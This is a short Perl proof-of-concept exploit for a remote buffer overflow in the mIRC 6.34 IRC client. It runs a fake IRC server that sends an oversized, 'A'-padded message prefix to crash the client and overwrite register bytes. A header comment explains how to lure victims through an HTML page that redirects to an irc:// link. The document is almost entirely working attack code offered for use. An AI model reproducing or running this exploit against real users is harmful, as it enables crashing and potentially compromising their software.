##################################################################################################
# Mirc 6.34 Remote Buffer Overflow
#
# This poc allow you to own the 2 first EDI & EDX bytes.
#
# To become remote, add a simple document.location.href=irc://server.com/... in some html page
#
use IO::Socket;
sub sock()
{
my $sock=new IO::Socket::INET (
Listen => 1,
LocalAddr => 'localhost',
LocalPort => 6667,
Proto => 'tcp'); die unless $sock;
print " [+]IRC Server started on port 6667 \r\n";
$s=$sock->accept();
$a = "A" x 313;
$twobytes = "\x43\x43";
print " [+]Sending pickles\r\n";
print $s ":irc_server.stuff 001 yow :Welcome to the Internet Relay Network yow\r\n";
sleep(1);
print $s ":".$a.$twobytes." PRIVMSG yow : /FINGER yow.\r\n";
}
while(1)
{
sock();
print " [+]Mirc should be down now, another little friend comming ?\r\n [+]Server Restarting\r\n";
}